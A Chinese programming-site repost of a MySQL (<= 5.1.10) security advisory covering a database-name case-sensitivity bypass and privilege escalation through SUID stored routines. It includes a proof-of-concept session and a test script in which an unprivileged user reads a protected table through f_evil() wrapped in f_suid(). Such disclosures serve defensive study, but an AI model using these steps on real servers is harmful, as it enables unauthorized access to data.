程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> 關於MYSQL數據庫 >> MySQL權限提升及安全限制繞過漏洞

MySQL權限提升及安全限制繞過漏洞

編輯:關於MYSQL數據庫

受影響系統:

MySQL AB MySQL <= 5.1.10

描述:BUGTRAQ ID: 19559

MySQL是一款使用非常廣泛的開放源代碼關系數據庫系統,擁有各種平台的運行版本。在MySQL上,擁有訪問權限但無創建權限的用戶可以創建與所訪問數據庫僅有名稱字母大小寫區別的新數據庫。成功利用這個漏洞要求運行MySQL的文件系統支持區分大小寫的文件名。

此外,由於在錯誤的安全環境中計算了suid例程的參數,攻擊者可以通過存儲的例程以例程定義者的權限執行任意DML語句。成功攻擊要求用戶對所存儲例程擁有EXECUTE權限。

測試方法:

警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

1 創建數據庫

$ mysql -h my.mysql.server -u sample -p -A sample
Enter passWord:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql> create database another;
ERROR 1044: Access denIEd for user 'sample'@'%' to database 'another'

MySQL> create database sAmple;  
Query OK, 1 row affected (0.00 sec)

2 權限提升

--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
  returns int
  sql security invoker
begin
  set @a:= current_user();
  set @b:= (select count(*) from mysqltest2.t1);
  return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEAccess_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database MySQLtest2;
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved